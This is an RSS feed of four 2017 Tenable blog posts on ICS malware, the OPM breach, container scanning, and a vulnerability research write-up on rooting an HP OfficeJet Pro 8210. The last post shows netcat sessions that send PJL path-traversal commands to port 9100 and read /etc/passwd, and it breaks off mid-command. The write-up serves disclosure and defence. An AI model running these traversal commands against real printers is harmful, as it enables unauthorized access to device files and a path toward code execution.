<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Tenable Blog - Medium]]></title>
        <description><![CDATA[Providing CISOs and infosec pros innovative insights to conquer the modern threat landscape. - Medium]]></description>
        <link>https://medium.com/tenable-blog?source=rss----5ef283667565---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Tenable Blog - Medium</title>
            <link>https://medium.com/tenable-blog?source=rss----5ef283667565---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 07:36:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/tenable-blog" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Securing Industrial Control Systems Against Vulnerabilities and Malware]]></title>
            <link>https://medium.com/tenable-blog/securing-industrial-control-systems-against-vulnerabilities-and-malware-b9cb2b9361c3?source=rss----5ef283667565---4</link>
            <guid isPermaLink="false">https://medium.com/p/b9cb2b9361c3</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Tenable]]></dc:creator>
            <pubDate>Thu, 22 Jun 2017 12:38:15 GMT</pubDate>
            <atom:updated>2017-06-22T12:38:15.401Z</atom:updated>
            <content:encoded><![CDATA[<p>Recently, a new threat dubbed <a href="http://ift.tt/2rYZcNV">Industroyer</a> or <a href="http://ift.tt/2sxE2L4">CrashOverride</a> was identified as the malware that was used in the 2016 attack on the Ukraine electric grid. Many pros are calling Industroyer the biggest threat to hit industrial control systems (ICS) since Stuxnet. However, Industroyer’s significance as a single event is relatively small because there are no zero days in the Industroyer payload.</p><p>Malware like Industroyer is the new normal</p><p>Security for critical infrastructure is a matter of national security and unfortunately, malware like Industroyer is the new normal. Multiple smaller attacks could easily add up to a disruptive event. Instead of reacting to every new malware threat, administrators should take a long-term strategic approach to this new environment.</p><p>Complying with a good security framework is one of the most effective security strategies you can adopt instead of just reacting to newsworthy vulnerabilities</p><p>ICS/SCADA systems often cannot be scanned or patched due to uptime requirements or simply because legacy systems have no means of being updated. So, when Industroyer was announced, the <a href="http://ift.tt/2t5qe8d">North American Electric Reliability Corporation (NERC) issued an alert</a> to their members to be vigilant and to protect their networks with tighter access controls. They recommend their <a href="http://ift.tt/1A6Rmhv">NERC Critical Infrastructure Protection Standards</a> as best practice requirements for utilities to secure their assets. Complying with a good security framework takes time, but it is one of the most effective security strategies you can adopt instead of just reacting to newsworthy vulnerabilities.</p><h4>How Industroyer works</h4><p>Industroyer employs a modular design, and can be broken down into four basic components:</p><ul><li>Backdoor — sets up a command and control channel over https once the system is infected</li><li>Launcher — launches one or more payloads</li><li>Four payloads — one payload for each SCADA protocol that Industroyer supports:</li><li>IEC 60870–5–104</li><li>IEC 60870–5–101</li><li>IEC 61850</li><li>OLE for Process Control Data Access (OPC)</li><li>Data wiper — a component that wipes itself from the system</li></ul><p>There is an additional backdoor which could be installed to maintain persistent control over the system by replacing a legitimate version of Notepad with a trojanized version of Notepad.</p><p>The malware authors also released a tool which performs a DoS attack against the Siemens SIPROTEC family of protection relays.</p><h4>Tenable solutions that detect SCADA protocols</h4><p>Tenable offers several solutions to detect the the ICS/SCADA protocols targeted by Industroyer and other malware.</p><h4>Nessus</h4><p><a href="http://ift.tt/2sudI3J">YARA signatures</a> are available to detect one or more of the Industroyer/CrashOverride payload components. Tenable customers can use <a href="http://ift.tt/2hDzZXI">YARA</a> rules to identify infected systems with the <strong>Malicious File Detection Using Yara</strong> Nessus® plugin.</p><p>You’ll find sample rules that can be used with Nessus to detect the IOCs on <a href="http://ift.tt/2stBKM6">GitHub</a>.</p><h4>Nessus Network Monitor</h4><p><a href="http://ift.tt/2rswRTg">Nessus® Network Monitor</a> (formerly PVS™) has released signatures to detect a DoS attack on the Siemens SIPROTEC family of protection relays (SIPROTEC DoS, CSA-15–202–01/ CVE-2015–5374): PRM #700132, <strong>Siemens SIPROTEC DoS (SCADA)</strong>.</p><h4>Using SecurityCenter dashboards for strategic protection</h4><p>Using the Nessus vulnerability scanner and Nessus Network Monitor, SecurityCenter Continuous View® (CV) has the ability to correlate collected data and provide insight into the discovered risks. SecurityCenter® can help administrators focus in on a new critical vulnerability (such as Industroyer/CrashOverride) when it is detected in their networks. But ICS/SCADA systems require more than a periodic scan for the latest vulnerability; a complete discovery inventory, passive and active monitoring, and credentialed scans should be included as best practices. In the <a href="http://ift.tt/1A6Rmhv">NERC Critical Infrastructure Protection Standards</a>, the first strategic steps are to inventory the systems on the network, and ensure all protocols in use on the networks are properly identified. The <a href="http://ift.tt/2stPA0W">CIP-002 BES Cyber System Categorization</a> dashboard assists with host discovery and vulnerability identification, helping you get a broader picture of your network security.</p><p>CIP-002 requires organizations to identify and categorize Bulk Electric System (BES) Cyber Systems to support appropriate protection against compromises that could lead to misoperation or instability in the BES. You can meet this requirement by building and maintaining an accurate inventory of devices so that any attack or infection can be effectively detected and isolated. Additionally, once you know what devices are part of your NERC environment, you will be prepared to address CIP-007 R1 by monitoring network traffic to detect ports or services that should not be in use.</p><p>CIP-007 R1 requires organizations to protect against the use of unnecessary physical input/output ports used for network connectivity, console commands, or removable media. If unauthorized traffic is detected, the accurate inventory you built will be key in identifying and addressing the devices involved. The <a href="http://ift.tt/2stIQjW">CIP-007 R1 Ports and Services</a> dashboard provides thorough insight into the network activity in your organization by monitoring open ports and active services. The dashboard also identifies the usage SCADA-specific protocols as well as protocols from SCADA vendors. Since targeted malware, like Industroyer/CrashOverride, can exploit SCADA protocols to compromise BES systems, understanding the expected and acceptable traffic within your NERC environment is essential. The network activity detections are performed by the Tenable Nessus Network Monitor, and other network traffic collected by the Tenable Log Correlation Engine® (LCE®) are normalized and correlated to identify traffic patterns and anomalies. Active scan data from SecurityCenter is used in this dashboard to detect vulnerable ports and exploitable services. All of the data helps you resolve misused or misconfigured ports and services to protect your network against malicious activity.</p><p>There are six other dashboards related to CIP available in the SecurityCenter Feed:</p><ul><li><a href="http://ift.tt/2rYMhf1">CIP-004 R4/R5 Access Management, Revocation, and Control</a></li><li><a href="http://ift.tt/2stYnA3">CIP-005 Electronic Security Perimeter</a></li><li><a href="http://ift.tt/2rYVVOy">CIP-007 R3 Malicious Code Prevention</a></li><li><a href="http://ift.tt/2stIRo0">CIP-010 R1/R2 Configuration Change Management and Monitoring</a></li><li><a href="http://ift.tt/2rYZ2pX">CIP-010 R3 Vulnerability Assessment and Patch Management</a></li><li><a href="http://ift.tt/2stMASk">CIP-010 R4 Transient Cyber Assets and Removable Media</a></li></ul><p>These dashboards can help you monitor a variety of other network security concerns, such as access control and change management. Other dashboards monitor for vulnerabilities and malware in your NERC environment. You can also track transient devices and monitor your network perimeter with CIP dashboards, giving you a complete view of network access and usage. This set of dashboards leverages active and agent scan data gathered by Nessus, along with passive network detections by the Nessus Network Monitor and correlated event data from LCE. Armed with all of this information about your NERC environment, you will be prepared to remediate issues and maintain CIP compliance. Determining whether your environment is vulnerable to malware in the news that day is important, but a strategic and thorough approach aided by SecurityCenter CV prepares you to ensure the security of your network when the hype fades.</p><h4>Wrap-up</h4><p>The key to managing a great security program is being strategic rather than tactical</p><p>Don’t fall into the trap of chasing down the latest headline-making vulnerability on your SCADA systems. A unified platform like SecurityCenter provides a more strategic approach to securing industrial systems and critical infrastructure with active and passive monitoring of your systems. If your AV systems, patching programs, and signatures are kept up to date on a regular basis; if you run credentialed scans for misconfigurations; if you implement protocols to assure that only the appropriate devices are communicating with each other; if you audit CIP compliance, then the next malware crisis will not be a major threat to your environment. The key to managing a great security program is being strategic rather than tactical.</p><p>Many thanks to Megan Daudelin, Ian Parker and John Chirhart for their contributions to this blog.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1/0*7GlXEP3fqkVlxSB9." /></figure><p><em>Originally published on </em><a href="http://ift.tt/2stBL2C"><em>www.tenable.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b9cb2b9361c3" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-blog/securing-industrial-control-systems-against-vulnerabilities-and-malware-b9cb2b9361c3">Securing Industrial Control Systems Against Vulnerabilities and Malware</a> was originally published in <a href="https://medium.com/tenable-blog">Tenable Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The OPM Breach Two Years Later: Four Best Practices for Cyber Operational Excellence]]></title>
            <link>https://medium.com/tenable-blog/the-opm-breach-two-years-later-four-best-practices-for-cyber-operational-excellence-ec018cd51083?source=rss----5ef283667565---4</link>
            <guid isPermaLink="false">https://medium.com/p/ec018cd51083</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Tenable]]></dc:creator>
            <pubDate>Tue, 20 Jun 2017 12:46:44 GMT</pubDate>
            <atom:updated>2017-06-20T12:46:44.397Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0h1KbCLe5h_qvLFg." /></figure><p>Socrates is alleged to have said, “the secret of change is to focus all of your energy, not on fighting the old, but on building the new.”1 The saying certainly applies to cybersecurity, where change is the only constant. You don’t have to be Socrates to see that two years after the <a href="http://ift.tt/1Rl6SkZ">Office of Public Management cyberattack</a>, too many organizations are still focusing on the old and not building the new.</p><p>The good news here is that it’s not too late. There are some best practices that all organizations can employ to strive for operational excellence, to better understand and reduce their exposure and risk, and to implement a resilient, long-term cybersecurity strategy.</p><h4>1. Manage risk proactively</h4><p>When the OPM breach was discovered in 2015, they also found 15,000 outdated machines and 2,000 pieces of malware unrelated to the data breach. Fewer than 10 infections from the breach’s PlugX malware compromised millions of records. The agency was thrown into reacting to, not anticipating a major incident.</p><p>Knowing your network is the foundation of good cybersecurity</p><p>Knowing your network is the foundation of good cybersecurity and your best defense against increasingly sophisticated cyberattacks. Having a resilient and comprehensive cybersecurity posture must start with a strong understanding of your organization’s network, nodes, assets, tools and vulnerabilities, accompanied by a robust patch management program to address known but unpatched vulnerabilities.</p><p>The insider threat also cannot be ignored. Insiders with legitimate access privileges often can fly under the security radar so that breaches are discovered only long after the fact. There are blind spots in every organization’s network that leave them vulnerable, including employee data which carries immense value to attackers. That’s why it’s important to treat all data — especially on government networks — as carefully as you would classified information, and implement effective access, password and credential management to defend against elevated privileges, unauthorized access and insider threats. You can never truly know where the next threat will come from.</p><h4>2. Embrace modernization</h4><p>Organizations cannot make large, impactful changes if they are averse to change in the first place, and this is true in IT security as in other areas of operation.</p><p>Security upgrades must go hand in hand with IT modernization</p><p>Security upgrades must go hand in hand with IT modernization. As organizations deploy up-to-date IT, they have the perfect opportunity to reduce their attack surface and address rapid changes in the threat landscape. They can enhance security through improved visibility into the network, continuous and comprehensive monitoring, and the patching of vulnerabilities. Legacy systems that are no longer supported with regular patches can be protected by isolating them from the internet-connected network until they can be replaced.</p><p>However, at some point, government agencies will run out of resources to maintain these outdated systems, and will need to prioritize change. One way to hold these organizations accountable to high security standards is to implement a baseline approach that outlines which models of operating systems can still be supported across the federal government. And then follow through with cyber funding to improve networks.</p><p>Legislation, such as the <a href="http://ift.tt/2sznsYm">Modernizing Government Technology (MGT)</a> bill now pending in the Senate, would establish a working capital fund to let agencies pay for technology updates through savings realized from modernization. Replacing the traditional use-it or lose-it approach of annual appropriations would allow agencies to make long-term plans for replacing legacy IT, taking advantage of advances in technology while simultaneously strengthening cybersecurity.</p><h4>3. Leverage cybersecurity frameworks</h4><p>Too often, organizations reinvent the wheel when it comes to cybersecurity. This is particularly the case from a governance or process perspective. Yet there is a large volume of cybersecurity research available that has identified many cybersecurity best practices.</p><p>The government has produced several cybersecurity frameworks to help agencies and other organizations secure IT systems and sensitive data. Many of these are voluntary for the private sector, but under FISMA (Federal Information Security Modernization Act) and other cybersecurity initiatives, federal agencies are being required to use this guidance. The NIST <a href="http://ift.tt/2chEcyT">Cybersecurity Framework</a> is now recommended by the recent <a href="http://ift.tt/2q9uGkV">Presidential Executive Order on Cybersecurity</a> as a starting point on long-term foundational cybersecurity insights.</p><h4>4. Invest in a strong workforce</h4><p>Finally, regardless of the threats facing all organizations, it takes well-trained, well-informed people with creative mindsets to stop the threats. In government, as in other sectors such as oil, gas and utilities, many of the best-trained workers are nearing retirement. This brain drain will make combatting threats even more difficult.</p><p>By September 2017, 31 percent of the federal workforce will be eligible to retire</p><p>A <a href="http://ift.tt/2sOkiU2">GAO study</a> found that by September 2017, nearly 600,000 federal workers — 31 percent of the workforce — will be eligible to retire. Government agencies will find it difficult to compete with the private sector to counter the exodus. Government salaries usually are not competitive with commercial firms, and private sector jobs often offer more flexibility and creative benefits.</p><p>Organizations will have to provide incentives outside of financial compensation for security professionals to enter and remain in the cybersecurity workforce. Benefits such as flexible working conditions, professional development, and public service opportunities should be offered to a younger workforce that values such creative benefit packages.</p><h4>More information</h4><p>Build a solid foundation for a long-term cybersecurity strategy</p><p>Effective cybersecurity requires that organizations learn from the OPM breach and build a solid foundation for a long-term cybersecurity strategy. By focusing first on basic practices, organizations can make strides in understanding their exposure, reducing risk and building a resilient cybersecurity program.</p><p>For more details on these best practices, download our <a href="http://ift.tt/2s0hHWQ">free OPM whitepaper</a>.</p><p>1 The quote is attributed to a character named Socrates in Dan Millman’s book <em>Way of the Peaceful Warrior</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1/0*wYRMyMNvcnwtZW5c." /></figure><p><em>Originally published on </em><a href="http://ift.tt/2to5cBL"><em>www.tenable.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec018cd51083" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-blog/the-opm-breach-two-years-later-four-best-practices-for-cyber-operational-excellence-ec018cd51083">The OPM Breach Two Years Later: Four Best Practices for Cyber Operational Excellence</a> was originally published in <a href="https://medium.com/tenable-blog">Tenable Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Are Your Containers At Risk?]]></title>
            <link>https://medium.com/tenable-blog/are-your-containers-at-risk-59f981301d9b?source=rss----5ef283667565---4</link>
            <guid isPermaLink="false">https://medium.com/p/59f981301d9b</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Tenable]]></dc:creator>
            <pubDate>Thu, 15 Jun 2017 12:52:17 GMT</pubDate>
            <atom:updated>2017-06-15T12:52:16.818Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*udSHFL_sJaoBsuOX." /></figure><p>Containers have transformed the way organizations are deploying applications and services within their environments. While containers are lightweight and more efficient alternatives to virtual machines, they usually exist for a short period of time. Rapid changes in agile environments can create significant risks for security teams using traditional vulnerability management solutions. Tenable.io™ Container Security provides you with an in-depth vulnerability assessment of container images, enabling you to evaluate the security of your containers before they are deployed.</p><figure><img alt="Tenable.io Container Security" src="https://cdn-images-1.medium.com/max/1024/0*bJTklpZtc7yAK_p9." /></figure><h4>Containers and DevOps</h4><p>Containers provide DevOps teams with an easy way to build and deploy applications into a production environment. Images are often pulled directly from public repositories that contain stripped down versions of base operating systems and web applications and services. Just like traditional applications and services, containers may be outdated and hold vulnerabilities that can leave your systems at risk.</p><h4>Container and security teams</h4><p>For security teams, attempting to assess the security of containers can present a host of challenges when the containers are deployed as needed or hidden behind the Docker virtual networks. Containers take advantage of the Linux OS kernel by sharing host OS resources, enabling for quick delivery of applications that can be easily deployed, used, or removed within a short amount of time. Active scanning using credentials is often ineffective, as containers typically don’t include the SSH daemon to log in and scan the container. Some containers may have isolated applications and services that are not exposed publicly, making it difficult for security teams to assess an organization’s overall risk profile.</p><h4>Tenable.io Container Security</h4><p>Using Tenable.io Container Security provides you with the visibility needed to see what’s going on inside your containers. Having accurate information enables developers to pinpoint and remediate container risks in a timely manner.</p><p>Getting started with Tenable.io Container Security is so easy that we are offering a free 60-day <a href="http://ift.tt/2tqjelE">test drive</a>.</p><p>Existing Tenable.io customers can activate their trial by logging into Tenable.io, and selecting Container Security from the Vulnerability Management toolbar.</p><figure><img alt="Activate a Tenable.io Container Security trial" src="https://cdn-images-1.medium.com/max/754/0*uWsI_1NhvGRm7FhT." /></figure><p>Within the splash screen, click on <strong>Try Container Security</strong> to enable your 60-day free trial.</p><figure><img alt="Enable a 60-day free trial" src="https://cdn-images-1.medium.com/max/1024/0*BMILg0ndkPpo_4kM." /></figure><p>Once your trial has been activated, you will be redirected to the Tenable.io Container Security main page.</p><figure><img alt="Tenable.io Container Security main page" src="https://cdn-images-1.medium.com/max/1024/0*GCHhJ987ttu4IQ-m." /></figure><h4>Pushing container images</h4><p>You can easily push images to Tenable.io Container Security from any environment or platform within your network. To push images, start by logging in using your Tenable.io Container Security credentials from the host system.</p><pre>$ docker login -u TENABLE_IO_CONTAINER_SECURITY_USERNAME -p TENABLE_IO_CONTAINER_SECURITY_PASSWORD registry.cloud.tenable.com</pre><p>To get a complete list of your existing container images, enter the following:</p><pre>$ docker images</pre><p>Once you have identified the image you wish to upload, enter in the associated Docker Image ID, Repository name, Container image, and Tag. Note that using the tag switch is optional, and the system will use “latest” within the tag field by default.</p><pre>$ docker tag &lt;imageID&gt; <br>http://ift.tt/2tqevAu;</pre><p>Once tagged, you can push the container image up to registry.cloud.tenable.com.</p><pre>$ docker push <a href="http://ift.tt/2tqevAu;">http://ift.tt/2tqevAu;</a></pre><p>To close out of your session, use the docker logout command to remove login credentials from the host:</p><pre>$ docker logout registry.cloud.tenable.com</pre><h4>Dashboards</h4><p>Dashboards provide management with complete visibility into your overall container security. Results include the number of images, vulnerabilities and malware discovered, enabling you to quickly determine which containers are at risk.</p><figure><img alt="Dashboard results" src="https://cdn-images-1.medium.com/max/1024/0*GqoJ7nRS937Q__-b." /></figure><p>Repositories can be created manually or automatically pushed or pulled from an existing container registry. Tenable.io Container Security includes a repository index highlighting the number of images per repository, overall size, and the number of vulnerabilities or malware detected within that repository. You can easily drill down into any repository, image, or tag providing information on detected services, as well as vulnerabilities that may be present within the image.</p><figure><img alt="Repository index" src="https://cdn-images-1.medium.com/max/914/0*wwOhlkOa-wAQe3m3." /></figure><p>Scan results for each container image include a list of when the image was last analyzed, overall risk score, and results in HTML, JSON and Nessus v2 file formats.</p><h4>Layers</h4><p>Tenable.io Container Security inventories and analyzes each layer within the container registry for vulnerabilities and malware. Scan results include information on the overall risk score, distribution of vulnerabilities by CVSS score, and a list of vulnerabilities by CVE. Use this information to help narrow down and remediate vulnerabilities before systems are deployed to production.</p><h4>Policies</h4><p>Tenable.io Container Security supports rules-based policy enforcement that helps you filter scan results and highlight specific vulnerability data relevant to your organization. Policies can be applied globally or to specific repositories that can highlight specific CVEs, CVSS values, or whether malware has been detected.</p><figure><img alt="Policies" src="https://cdn-images-1.medium.com/max/952/0*j7EANSwADYI2_h_o." /></figure><p>After adding rules that meet your organization’s application security policies, you can organize the way rules are evaluated via drag and drop.</p><h4>Scan results</h4><p>Results include an overall risk score and information about the container image, including the base operating system (OS) and version. For teams that want to scan for changes between development and production environments, results also include a unique SHA256 checksum for each individual image pushed to Tenable.io Container Security. Using the Tenable.io Container Security <strong>Risk Scoring Framework</strong>, vulnerabilities are measured to help you determine the risk to your environment.</p><figure><img alt="Container image scan results" src="https://cdn-images-1.medium.com/max/1024/0*W4b_DDIj9HBGml9h." /></figure><p>Each container layer and associated checksum is included within the scan results, along with an inventory of packages within the container image. Results include detected CVE, CVSS base score, description of the vulnerability, and remediation details.</p><figure><img alt="Scan results details" src="https://cdn-images-1.medium.com/max/1024/0*e8_ZqCN6nDXk4cJV." /></figure><p>As container images are uploaded into Tenable.io Container Security, they are automatically scanned for vulnerabilities and malware. Once a vulnerability is identified, the product automatically rescans all stored container images against the new vulnerability, thus ensuring continuous protection.</p><p>For DevOps teams, Tenable.io Container Security provides integrations with common build systems such as Jenkins, Bamboo, Shippable, Travis CI and others, as well as with other continuous integration/continuous deployment tools used by software developers. This enables you to push images from your private registry into Tenable.io Container Security.</p><h4>Learn more</h4><p>Tenable is the only vulnerability management provider to offer integrated container security with Tenable.io Container Security.</p><p>Tenable.io Container Security integrates continuous integration and continuous deployment (CI/CD) systems to support and strength DevOps practices, as well as enterprise policy compliance.</p><p>Want to know more about Tenable.io Container Security?</p><ul><li><a href="http://ift.tt/2tqexbA">Read more</a> about Tenable.io Container Security</li><li>Try Tenable.io Container Security <a href="http://ift.tt/2tqjelE">free for 60 days</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1/0*7HGeU1iEv26h07CB." /></figure><p><em>Originally published on </em><a href="http://ift.tt/2tpXaHL"><em>www.tenable.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=59f981301d9b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-blog/are-your-containers-at-risk-59f981301d9b">Are Your Containers At Risk?</a> was originally published in <a href="https://medium.com/tenable-blog">Tenable Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rooting A Printer: From Security Bulletin to Remote Code Execution]]></title>
            <link>https://medium.com/tenable-blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution-4569ad384712?source=rss----5ef283667565---4</link>
            <guid isPermaLink="false">https://medium.com/p/4569ad384712</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Tenable]]></dc:creator>
            <pubDate>Wed, 14 Jun 2017 12:32:20 GMT</pubDate>
            <atom:updated>2017-06-14T12:32:20.453Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XdqD52tHv_HiZeqA." /></figure><p>Printers. They are everywhere. In big businesses. In small businesses. In our homes. In our schools. Wherever you go, there they are. But where are they in your threat model? When was the last time you updated the firmware? Do you know if there are public exploits for your printer?</p><p>For example, in early April, Hewlett Packard released a security bulletin titled, <a href="http://ift.tt/2rhbfGI">HP PageWide Printers, HP OfficeJet Pro Printers, Arbitrary Code Execution</a>. The bulletin states:</p><blockquote>A potential security vulnerability has been identified with certain HP printers. This vulnerability could potentially be exploited to execute arbitrary code.</blockquote><p>That’s not an especially useful summary since most customers will stop reading at “potential.” Even more useless is the description of the assigned CVE (<a href="http://ift.tt/2szTSoJ">2017–2741</a>). At the time of writing, over two months after the HP security bulletin, the CVE lacks any type of description because it remains in the “RESERVED” state.</p><p>Ever curious, the Tenable reverse engineers were intrigued by this “potential” security vulnerability that was given a CVSSv2 score of 9.8. Always willing to indulge our curiosity, we purchased a couple of printers listed in the advisory (HP OfficeJet Pro 8210).</p><figure><img alt="HP printers" src="https://cdn-images-1.medium.com/max/1024/0*8W_7WI_isoWA7hsS." /></figure><p>A new type of printer stack</p><p>Purchasing new hardware and hoping the vulnerable firmware is still installed is always a gamble. Who knows how much work it will require to undo the patching? Fortunately, both printers arrived with vulnerable firmware installed and updates disabled.</p><figure><img alt="Firmware details in the web interface" src="https://cdn-images-1.medium.com/max/1024/0*UNrN7FbKCG-2cxiX." /></figure><p>Firmware details in the web interface</p><p>One of the many frustrating things about Hewlett Packard’s security bulletin is that it tells the reader to download the firmware update from <a href="http://ift.tt/uC3uWC">www.hp.com/support</a>. Good luck with that though; the OfficeJet Pro 8210’s firmware isn’t available for download. However, using the <strong>Install updates automatically</strong> and <strong>Check now</strong> features on the printer’s web interface, we were able to update a printer to a patched firmware.</p><figure><img alt="Firmware patched" src="https://cdn-images-1.medium.com/max/1024/0*8nqGzlLBZKiAZumN." /></figure><p>At this point, we had both a patched and an unpatched printer. Time to start digging for remote code execution.</p><p>We started with an Nmap scan to find the open printer’s ports:</p><pre>albinolobster@ubuntu:~$ nmap -A 192.168.1.159<br><br>Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-08 10:31 PDT<br>Nmap scan report for HP0A6BFE.westeros (192.168.1.159)<br>Host is up (0.014s latency).<br>Not shown: 994 closed ports<br>PORT      STATE SERVICE    VERSION<br>80/tcp    open  http       HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;<br>443/tcp   open  ssl/https  HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;<br>515/tcp   open  printer<br>631/tcp   open  ssl/ipp    HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;<br>8080/tcp  open  http-proxy HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;<br>9100/tcp  open  jetdirect?</pre><p>There’s nothing too surprising here. HTTP servers listening on ports 80, 443, and 8080. Line Printer Daemon (<a href="http://ift.tt/2rgCBwU">LPD</a>) on port 515. Internet Printing Protocol (<a href="http://ift.tt/2szTV3T">IPP</a>) on port 631. Nmap flags port 9100 as “jetdirect?” which generally means “raw printing” or <a href="http://ift.tt/2jPIr8w">port 9100 printing</a>.</p><p>HP refers to port 9100 printing as “HP proprietary,” but it’s widely known that it supports raw printing as well as <a href="http://ift.tt/2rgKd27">PCL</a>, <a href="http://ift.tt/1FQRIhB">PostScript</a>, and <a href="http://ift.tt/XOEml5">PJL</a>. Here’s a simple example of using PJL over port 9100 to get the printer’s device information:</p><pre>albinolobster@ubuntu:~$ nc 192.168.1.159 9100<br>@PJL INFO ID<br>@PJL INFO ID<br>&quot;HP OfficeJet Pro 8210&quot;</pre><p>Jens Müller recently wrote a paper titled <a href="http://ift.tt/2kPalSd">Exploiting Network Printers: A Survey of Security Flaws in Laser Printers and Multi-Function Devices</a> that details common vulnerabilities in printers. One of the common vulnerabilities the author presents is path traversal via PJL. For example, consider the following PJL command for listing a directory on the printer:</p><pre>albinolobster@ubuntu:~$ nc 192.168.1.159 9100<br>@PJL FSDIRLIST NAME=&quot;0:/&quot; ENTRY=1 COUNT=1024<br>@PJL FSDIRLIST NAME=&quot;0:/&quot; ENTR<br>tmp/ TYPE=DIR<br>csr_misc/ TYPE=DIR</pre><p>You can see the directory name being listed is 0:/ and that the printer responds with two sub-directories: tmp/ and csr_misc/. What happens if you try to move up a couple of directories using the path 0:/../../?</p><pre>albinolobster@ubuntu:~$ nc 192.168.1.158 9100<br>@PJL FSDIRLIST NAME=&quot;0:/../../&quot; ENTRY=1 COUNT=1024<br>@PJL FSDIRLIST NAME=&quot;0:/../../&quot; ENTRY=1<br>rw/ TYPE=DIR<br>ram/ TYPE=DIR<br>rom/ TYPE=DIR<br>.sig/ TYPE=DIR</pre><p>As you can see, the printer responds with a new list of directories. It looks like we might have an attack vector here. Below, you can see that executing the same PJL command on the patched printer generates a FILEERROR. We know HP <strong><em>has</em></strong> fixed this between our two firmware versions. There is a good chance this could lead to the security bulletin’s remote code execution.</p><pre>albinolobster@ubuntu:~$ nc 192.168.1.159 9100<br>@PJL FSDIRLIST NAME=&quot;0:/../../&quot; ENTRY=1 COUNT=1024<br>@PJL FSDIRLIST NAME=&quot;0:/../../&quot;<br>FILEERROR=0</pre><p>However, this traversal doesn’t seem immediately useful. The file structure doesn’t look like any root filesystem the I’m familiar with. Perhaps there is another directory traversal vector?</p><pre>albinolobster@ubuntu:~$ nc 192.168.1.158 9100<br>@PJL FSDIRLIST NAME=&quot;../../&quot; ENTRY=1 COUNT=4<br>@PJL FSDIRLIST NAME=&quot;../../&quot;<br>FILEERROR=0<br><br>@PJL FSDIRLIST NAME=&quot;../../bin/&quot; ENTRY=1 COUNT=4<br>@PJL FSDIRLIST NAME=&quot;../../bin/&quot; ENTRY=1<br>getopt TYPE=FILE SIZE=880020<br>setarch TYPE=FILE SIZE=880020<br>dd TYPE=FILE SIZE=880020<br>cp TYPE=FILE SIZE=880020</pre><p>Here, I tried ../../ but that generated a FILEERROR. However, ../../bin lists files that you’d find in a traditional Linux /bin directory. It appears you can traverse into the Linux filesystem.</p><p>But how can you turn these directory traversals into remote code execution? First, you need to know a few other PJL commands: FSQUERY, FSUPLOAD, and FSDOWNLOAD. These three commands will give you r/w access to the printer’s filesystems. For example, I can leverage FSQUERY and FSUPLOAD with the directory traversal to retrieve the contents of /etc/passwd:</p><pre>@PJL FSUPLOAD NAME=&quot;../../etc/passwd&quot; OFFSET=0 SIZE=648<br>@PJL FSUPLOAD FORMAT:BINARY NAME=&quot;../../etc/passwd&quot; OFFSET=0 